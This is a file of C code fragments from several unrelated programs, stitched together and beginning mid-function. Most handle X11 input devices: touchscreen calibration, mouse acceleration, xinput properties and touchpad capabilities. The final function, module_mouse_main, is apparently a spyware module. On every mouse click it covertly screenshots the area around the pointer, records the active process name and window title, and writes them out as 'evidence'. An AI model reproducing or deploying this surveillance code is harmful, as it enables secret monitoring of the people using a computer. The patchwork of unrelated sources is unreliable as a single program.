matrix[4] = 0.;
matrix[5] = 1.;
}
/* Output Reflection */
if(rotation & RR_Reflect_X) {
matrix[0]*= -1.;
matrix[1]*= -1.;
matrix[2]*= -1.;
matrix[2]+= 1.;
}
if(rotation & RR_Reflect_Y) {
matrix[3]*= -1.;
matrix[4]*= -1.;
matrix[5]*= -1.;
matrix[5]+= 1.;
}
/* Output Size */
float widthRel = outputWidth / (float) screenWidth;
float heightRel = outputHeight / (float) screenHeight;
matrix[0] *= widthRel;
matrix[1] *= widthRel;
matrix[2] *= widthRel;
matrix[3] *= heightRel;
matrix[4] *= heightRel;
matrix[5] *= heightRel;
/* Output Position */
matrix[2] += outputX / (float) screenWidth;
matrix[5] += outputY / (float) screenHeight;
} else {
if(debugMode) printf("Use legacy method\n");
/* No support for transformations, so use legacy method */
if(rotation & RR_Rotate_180) {
flipHoriz = !flipHoriz;
flipVerti = !flipVerti;
} else if(rotation & RR_Rotate_90) {
flipVerti = !flipVerti;
axesSwap = !axesSwap;
} else if(rotation & RR_Rotate_270) {
flipHoriz = !flipHoriz;
axesSwap = !axesSwap;
}
/* Output Reflection */
if(rotation & RR_Reflect_X) {
flipHoriz = !flipHoriz;
}
if(rotation & RR_Reflect_Y) {
flipVerti = !flipVerti;
}
if(axesSwap) {
swap(&maxX, &maxY);
swap(&minX, &minY);
}
int leftSpace, rightSpace, topSpace, bottomSpace;
leftSpace = outputX;
rightSpace = screenWidth - outputX - outputWidth;
topSpace = outputY;
bottomSpace = screenHeight - outputY - outputHeight;
if(flipHoriz) swap(&leftSpace, &rightSpace);
if(flipVerti) swap(&topSpace, &bottomSpace);
float fctX = ((float) (maxX - minX)) / ((float) outputWidth);
float fctY = ((float) (maxY - minY)) / ((float) outputHeight);
minX = minX - (int) (leftSpace * fctX);
maxX = maxX + (int) (rightSpace * fctX);
minY = minY - (int) (topSpace * fctY);
maxY = maxY + (int) (bottomSpace * fctY);
}
XDevice *dev = XOpenDevice(display, id);
if(dev) {
if(matrixMode) {
if((sizeof l) == 4) {
XChangeDeviceProperty(display, dev, XInternAtom(display,
"Coordinate Transformation Matrix", 0), floatAtom, 32, PropModeReplace, (unsigned char*) matrix, 9);
} else if((sizeof l) == 8) {
/* Xlib needs the floats long-aligned, so let's align them. */
float matrix2[] = { matrix[0], 0., matrix[1], 0., matrix[2], 0.,
matrix[3], 0., matrix[4], 0., matrix[5], 0.,
matrix[6], 0., matrix[7], 0., matrix[8], 0.
};
XChangeDeviceProperty(display, dev, XInternAtom(display,
"Coordinate Transformation Matrix", 0), floatAtom, 32, PropModeReplace, (unsigned char*) matrix2, 9);
}
}
long calib[] = { minX, maxX, minY, maxY };
//TODO instead of long, use platform 32 bit type
XChangeDeviceProperty(display, dev, XInternAtom(display,
"Evdev Axis Calibration", 0), XA_INTEGER, 32, PropModeReplace, (unsigned char*) calib, 4);
unsigned char flipData[] = {flipHoriz, flipVerti};
XChangeDeviceProperty(display, dev, XInternAtom(display,
"Evdev Axis Inversion", 0), XA_INTEGER, 8, PropModeReplace, flipData, 2);
unsigned char cAxesSwap = (unsigned char) axesSwap;
XChangeDeviceProperty(display, dev, XInternAtom(display,
"Evdev Axes Swap", 0), XA_INTEGER, 8, PropModeReplace, &cAxesSwap, 1);
XCloseDevice(display, dev);
}
}
void X11Extras::x11ResetMouseAccelerationChange()
{
//QTextStream out(stdout);
int xi_opcode, event, error;
xi_opcode = event = error = 0;
Display *display = this->display();
bool result = XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error);
if (!result)
{
Logger::LogInfo(tr("xinput extension was not found. No mouse acceleration changes will occur."));
//out << tr("xinput extension was not found. No mouse acceleration changes will occur.") << endl;
}
else
{
int ximajor = 2, ximinor = 0;
if (XIQueryVersion(display, &ximajor, &ximinor) != Success)
{
Logger::LogInfo(tr("xinput version must be at least 2.0. No mouse acceleration changes will occur."));
//out << tr("xinput version must be at least 2.0. No mouse acceleration changes will occur.") << endl;
}
}
if (result)
{
XIDeviceInfo *all_devices = 0;
XIDeviceInfo *current_devices = 0;
XIDeviceInfo *mouse_device = 0;
int num_devices = 0;
all_devices = XIQueryDevice(display, XIAllDevices, &num_devices);
for (int i=0; i < num_devices; i++)
{
current_devices = &all_devices[i];
if (current_devices->use == XISlavePointer && QString::fromUtf8(current_devices->name) == mouseDeviceName)
{
Logger::LogInfo(tr("Virtual pointer found with id=%1.").arg(current_devices->deviceid));
//out << tr("Virtual pointer found with id=%1.").arg(current_devices->deviceid)
// << endl;
mouse_device = current_devices;
}
}
if (mouse_device)
{
XDevice *device = XOpenDevice(display, mouse_device->deviceid);
int num_feedbacks = 0;
int feedback_id = -1;
XFeedbackState *feedbacks = XGetFeedbackControl(display, device, &num_feedbacks);
XFeedbackState *temp = feedbacks;
for (int i=0; (i < num_feedbacks) && (feedback_id == -1); i++)
{
if (temp->c_class == PtrFeedbackClass)
{
feedback_id = temp->id;
}
if (i+1 < num_feedbacks)
{
temp = (XFeedbackState*) ((char*) temp + temp->length);
}
}
XFree(feedbacks);
feedbacks = temp = 0;
if (feedback_id <= -1)
{
Logger::LogInfo(tr("PtrFeedbackClass was not found for virtual pointer."
"No change to mouse acceleration will occur for device with id=%1").arg(device->device_id));
//out << tr("PtrFeedbackClass was not found for virtual pointer."
// "No change to mouse acceleration will occur for device with id=%1").arg(device->device_id)
// << endl;
result = false;
}
else
{
Logger::LogInfo(tr("Changing mouse acceleration for device with id=%1").arg(device->device_id));
//out << tr("Changing mouse acceleration for device with id=%1").arg(device->device_id)
// << endl;
XPtrFeedbackControl feedback;
feedback.c_class = PtrFeedbackClass;
feedback.length = sizeof(XPtrFeedbackControl);
feedback.id = feedback_id;
feedback.threshold = 0;
feedback.accelNum = 1;
feedback.accelDenom = 1;
XChangeFeedbackControl(display, device, DvAccelNum|DvAccelDenom|DvThreshold,
(XFeedbackControl*) &feedback);
XSync(display, false);
}
XCloseDevice(display, device);
}
if (all_devices)
{
XIFreeDeviceInfo(all_devices);
}
}
}
int
main(int argc, char *argv[], char *env[])
{
char *display_name = NULL;
char *device_name = NULL;
char *output_name = NULL;
XSetWindowAttributes xswa;
int i = 0;
double a, a1, a2, b, b1, b2, xerr, yerr;
int xi_opcode, event, error;
XExtensionVersion *version;
XDeviceInfo *info;
XDevice *device;
long calib_data[4];
unsigned long mask;
unsigned char swap;
int keep_cursor = 0, ch;
/* Crosshair placement */
int cpx[] = { 0, 0, 1, 1, 1 };
int cpy[] = { 0, 1, 0, 0, 1 };
while ((ch = getopt(argc, argv, "cD:d:o:v")) != -1) {
switch (ch) {
case 'c':
keep_cursor++;
break;
case 'D':
display_name = optarg;
break;
case 'd':
device_name = optarg;
break;
case 'o':
output_name = optarg;
break;
case 'v':
verbose = True;
break;
default:
usage();
/* NOTREACHED */
}
}
argc -= optind;
argv += optind;
if (argc != 0)
usage();
/* connect to X server */
if ((display = XOpenDisplay(display_name)) == NULL) {
fprintf(stderr, "%s: cannot connect to X server %s\n",
__progname, XDisplayName(display_name));
exit(1);
}
screen = DefaultScreen(display);
root = RootWindow(display, screen);
/* get screen size from display structure macro */
xpos = 0;
ypos = 0;
width = DisplayWidth(display, screen);
height = DisplayHeight(display, screen);
if (XRRQueryExtension(display, &event, &error)) {
int major, minor;
if (XRRQueryVersion(display, &major, &minor) != True) {
fprintf(stderr, "Error querying XRandR version");
} else {
printf("XRandR extension version %d.%d present\n",
major, minor);
has_xrandr = True;
if (major > 1 || (major == 1 && minor >=2))
has_xrandr_1_2 = True;
if (major > 1 || (major == 1 && minor >=3))
has_xrandr_1_3 = True;
}
}
if (output_name != NULL) {
if (has_xrandr_1_2) {
get_xrandr_config(display, root, output_name,
&xpos, &ypos, &width, &height);
} else {
fprintf(stderr, "%s: can not specify an output "
"whithout XRandr 1.2 or later", __progname);
exit(2);
}
}
if (!XQueryExtension(display, INAME, &xi_opcode,
&event, &error)) {
fprintf(stderr, "%s: X Input extension not available.\n",
__progname);
exit(1);
}
version = XGetExtensionVersion(display, INAME);
if (version == NULL ||
version == (XExtensionVersion *)NoSuchExtension) {
fprintf(stderr, "Cannot query X Input version.\n");
exit(1);
}
XFree(version);
prop_calibration = XInternAtom(display, WS_PROP_CALIBRATION, True);
if (prop_calibration == None) {
fprintf(stderr, "Unable to find the \"%s\" device property.\n"
"There are probably no calibrable devices "
"on this system.\n", WS_PROP_CALIBRATION);
exit(1);
}
prop_swap = XInternAtom(display, WS_PROP_SWAP_AXES, True);
if (prop_swap == None) {
fprintf(stderr, "Unable to find the \"%s\" device property\n",
WS_PROP_SWAP_AXES);
exit(1);
}
info = find_device_info(device_name);
if (info == NULL) {
fprintf(stderr, "Unable to find the %s device\n",
device_name ? device_name : "default");
exit(1);
}
/* setup window attributes */
xswa.override_redirect = True;
xswa.background_pixel = BlackPixel(display, screen);
xswa.event_mask = ExposureMask | KeyPressMask;
mask = CWOverrideRedirect | CWBackPixel | CWEventMask;
if (!keep_cursor) {
xswa.cursor = create_empty_cursor();
mask |= CWCursor;
}
win = XCreateWindow(display, RootWindow(display, screen),
xpos, ypos, width, height, 0,
CopyFromParent, InputOutput, CopyFromParent,
mask, &xswa);
render_init();
XMapWindow(display, win);
XGrabKeyboard(display, win, False, GrabModeAsync, GrabModeAsync,
CurrentTime);
XGrabServer(display);
XClearWindow(display, win);
if (verbose)
printf("Calibrating %s\n", info->name);
device = XOpenDevice(display, info->id);
if (!device) {
fprintf(stderr, "Unable to open the X input device \"%s\"\n",
info->name);
return 0;
}
if (!register_events(info, device, 0))
exit(1);
uncalibrate(device);
calib:
XftDrawRect(draw, &bg, 0, 0, width, height);
for (i = 0; i < 5; i++) {
draw_graphics(cpx[i], cpy[i], i);
XFlush(display);
if (!get_events(i))
break;
XftDrawRect(draw, &bg, 0, 0, width, height);
}
if (interrupted)
cleanup_exit(device);
/* Check if X and Y should be swapped */
if (fabs(x[0] - x[1]) > fabs(y[0] - y[1])) {
calib.swapxy = 1;
for (i = 0; i < 5; i++) {
int t = x[i];
x[i] = y[i];
y[i] = t;
}
}
/* get touch pad resolution to screen resolution ratio */
a1 = (double) (x[4] - x[0]) / (double) (cx[4] - cx[0]);
a2 = (double) (x[3] - x[1]) / (double) (cx[3] - cx[1]);
/* get the minimum pad position on the X-axis */
b1 = x[0] - a1 * cx[0];
b2 = x[1] - a2 * cx[1];
/* use the average ratio and average minimum position */
a = (a1 + a2) / 2.0;
b = (b1 + b2) / 2.0;
xerr = a * width / 2 + b - x[2];
if (fabs(xerr) > fabs(a * width * .01)) {
fprintf(stderr, "Calibration problem: X axis error (%.2f) too high, try again\n",
fabs(xerr));
goto err;
}
calib.minx = (int) (b + 0.5);
calib.maxx = (int) (a * width + b + 0.5);
/* get touch pad resolution to screen resolution ratio */
a1 = (double) (y[4] - y[0]) / (double) (cy[4] - cy[0]);
a2 = (double) (y[3] - y[1]) / (double) (cy[3] - cy[1]);
/* get the minimum pad position on the Y-axis */
b1 = y[0] - a1 * cy[0];
b2 = y[1] - a2 * cy[1];
/* use the average ratio and average minimum position */
a = (a1 + a2) / 2.0;
b = (b1 + b2) / 2.0;
yerr = a * height / 2 + b - y[2];
if (fabs(yerr) > fabs(a * height * 0.01)) {
fprintf(stderr, "Calibration problem: Y axis error (%.2f) too high, try again\n",
fabs(yerr));
goto err;
}
calib.miny = (int) (b + 0.5);
calib.maxy = (int) (a * height + b + 0.5);
XFlush(display);
calib.resx = width;
calib.resy = height;
/* Send new values to the X server */
calib_data[0] = calib.minx;
calib_data[1] = calib.maxx;
calib_data[2] = calib.miny;
calib_data[3] = calib.maxy;
XChangeDeviceProperty(display, device, prop_calibration,
XA_INTEGER, 32, PropModeReplace, (unsigned char *)calib_data, 4);
swap = calib.swapxy;
XChangeDeviceProperty(display, device, prop_swap,
XA_INTEGER, 8, PropModeReplace, (unsigned char *)&swap, 1);
XCloseDevice(display, device);
XCloseDisplay(display);
/* And print them for storage in wsconsctl.conf */
printf("mouse.scale=%d,%d,%d,%d,%d,%d,%d\n",
calib.minx, calib.maxx,
calib.miny, calib.maxy,
calib.swapxy,
calib.resx, calib.resy);
return 0;
err:
draw_text(error_message, &errorColor);
XFlush(display);
sleep(2);
goto calib;
}
static int
do_set_prop_xi1(Display *dpy, Atom type, int format, int argc, char **argv, char *n, char *desc)
{
XDeviceInfo *info;
XDevice *dev;
Atom prop;
Atom old_type;
char *name;
int i;
Atom float_atom;
int old_format, nelements = 0;
unsigned long act_nitems, bytes_after;
char *endptr;
union {
unsigned char *c;
short *s;
long *l;
Atom *a;
} data;
if (argc < 3)
{
fprintf(stderr, "Usage: xinput %s %s\n", n, desc);
return EXIT_FAILURE;
}
info = find_device_info(dpy, argv[0], False);
if (!info)
{
fprintf(stderr, "unable to find device %s\n", argv[0]);
return EXIT_FAILURE;
}
dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open device %s\n", argv[0]);
return EXIT_FAILURE;
}
name = argv[1];
prop = parse_atom(dpy, name);
if (prop == None) {
fprintf(stderr, "invalid property %s\n", name);
return EXIT_FAILURE;
}
float_atom = XInternAtom(dpy, "FLOAT", False);
nelements = argc - 2;
if (type == None || format == 0) {
if (XGetDeviceProperty(dpy, dev, prop, 0, 0, False, AnyPropertyType,
&old_type, &old_format, &act_nitems,
&bytes_after, &data.c) != Success) {
fprintf(stderr, "failed to get property type and format for %s\n",
name);
return EXIT_FAILURE;
} else {
if (type == None)
type = old_type;
if (format == 0)
format = old_format;
}
XFree(data.c);
}
if (type == None) {
fprintf(stderr, "property %s doesn't exist, you need to specify "
"its type and format\n", name);
return EXIT_FAILURE;
}
data.c = calloc(nelements, sizeof(long));
for (i = 0; i < nelements; i++)
{
if (type == XA_INTEGER) {
switch (format)
{
case 8:
data.c[i] = atoi(argv[2 + i]);
break;
case 16:
data.s[i] = atoi(argv[2 + i]);
break;
case 32:
data.l[i] = atoi(argv[2 + i]);
break;
default:
fprintf(stderr, "unexpected size for property %s", name);
return EXIT_FAILURE;
}
} else if (type == float_atom) {
if (format != 32) {
fprintf(stderr, "unexpected format %d for property %s\n",
format, name);
return EXIT_FAILURE;
}
*(float *)(data.l + i) = strtod(argv[2 + i], &endptr);
if (endptr == argv[2 + i]) {
fprintf(stderr, "argument %s could not be parsed\n", argv[2 + i]);
return EXIT_FAILURE;
}
} else if (type == XA_ATOM) {
if (format != 32) {
fprintf(stderr, "unexpected format %d for property %s\n",
format, name);
return EXIT_FAILURE;
}
data.a[i] = parse_atom(dpy, argv[2 + i]);
} else {
fprintf(stderr, "unexpected type for property %s\n", name);
return EXIT_FAILURE;
}
}
XChangeDeviceProperty(dpy, dev, prop, type, format, PropModeReplace,
data.c, nelements);
free(data.c);
XCloseDevice(dpy, dev);
return EXIT_SUCCESS;
}
static void
synaptics_check_capabilities_x11 (CcMousePropertiesPrivate *d)
{
int numdevices, i;
XDeviceInfo *devicelist;
Atom realtype, prop_capabilities, prop_scroll_methods, prop_tapping_enabled;
int realformat;
unsigned long nitems, bytes_after;
unsigned char *data;
gboolean tap_to_click, two_finger_scroll;
prop_capabilities = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", False);
prop_scroll_methods = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Scroll Methods Available", False);
prop_tapping_enabled = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Tapping Enabled", False);
if (!prop_capabilities || !prop_scroll_methods || !prop_tapping_enabled)
return;
tap_to_click = FALSE;
two_finger_scroll = FALSE;
devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices);
for (i = 0; i < numdevices; i++) {
if (devicelist[i].use != IsXExtensionPointer)
continue;
gdk_error_trap_push ();
XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()),
devicelist[i].id);
if (gdk_error_trap_pop ())
continue;
gdk_error_trap_push ();
/* xorg-x11-drv-synaptics */
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_capabilities,
0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
/* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple.
* Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */
/* Set tap_to_click_toggle sensitive only if the device has hardware buttons */
if (data[0])
tap_to_click = TRUE;
/* Set two_finger_scroll_toggle sensitive if the hardware supports double touch */
if (data[3])
two_finger_scroll = TRUE;
XFree (data);
}
/* xorg-x11-drv-libinput */
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_scroll_methods,
0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
/* Property data is booleans for two-finger, edge, on-button scroll available. */
if (data[0] && data[1])
two_finger_scroll = TRUE;
XFree (data);
}
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_tapping_enabled,
0, 1, False, XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
/* Property data is boolean for tapping enabled. */
tap_to_click = TRUE;
XFree (data);
}
gdk_error_trap_pop_ignored ();
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
}
XFreeDeviceList (devicelist);
gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), tap_to_click);
gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), two_finger_scroll);
}
void *module_mouse_main(void *args)
{
Display *display = NULL;
int i, devnum = 0, mousenum = 0, buttonrelease = 0;
XDeviceInfo *devinfo = NULL;
XDevice **device = NULL;
XEventClass evlist;
XEvent event;
Window root, child;
int rootX, rootY, childX, childY;
unsigned int mask;
XWindowAttributes wininfo;
int maxfd = -1, xfd = -1;
int width = 40, height = 40;
char *process = NULL, *title = NULL;
int imgx, imgy, imgw, imgh;
fd_set rfds;
struct additional a;
BIO *bio_additional = NULL;
char *additionalptr, *dataptr = NULL;
long additionallen, datalen = 0;
debugme("Module MOUSE started\n");
if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;
if(MODULE_MOUSE_P) {
width = MODULE_MOUSE_P->width;
height = MODULE_MOUSE_P->height;
}
do {
if((display = XOpenDisplay(NULL)) == NULL) break;
if((xfd = ConnectionNumber(display)) < 0) break;
if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
if(!(bio_additional = BIO_new(BIO_s_mem()))) break;
for(i = 0; i < devnum; i++) {
if(devinfo[i].use == IsXExtensionPointer) {
if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
DeviceButtonRelease(device[i], buttonrelease, evlist);
XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
mousenum++;
}
}
if(!mousenum) break;
maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;
while(MODULE_MOUSE.status != MODULE_STOPPING) {
do {
if(!XPending(display)) {
FD_ZERO(&rfds);
FD_SET(xfd, &rfds);
FD_SET(MODULE_MOUSE.event, &rfds);
if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
}
if(MODULE_MOUSE.status == MODULE_STOPPING) break;
if(XNextEvent(display, &event)) break;
if(event.type != buttonrelease) break;
if(((XDeviceButtonEvent *)&event)->button > 3) break;
XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
getwindowproperties(display, getactivewindow(display), &process, &title);
debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);
imgx = MAX(rootX - (width / 2), 0);
imgy = MAX(rootY - (height / 2), 0);
imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;
a.version = MOUSEMODULE_VERSION;
a.processlen = strlen16(process) + 2;
a.titlelen = strlen16(title) + 2;
a.x = rootX;
a.y = rootY;
a.width = imgw;
a.height = imgh;
(void)BIO_reset(bio_additional);
BIO_write(bio_additional, &a, sizeof(a));
BIO_puts16n(bio_additional, process);
BIO_puts16n(bio_additional, title);
if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;
evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
} while(0);
if(dataptr) { free(dataptr); dataptr = NULL; }
if(process) { free(process); process = NULL; }
if(title) { free(title); title = NULL; }
}
} while(0);
if(bio_additional) BIO_free(bio_additional);
if(device) {
for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
free(device);
}
if(devinfo) XFreeDeviceList(devinfo);
if(display) XCloseDisplay(display);
debugme("Module MOUSE stopped\n");
return NULL;
}
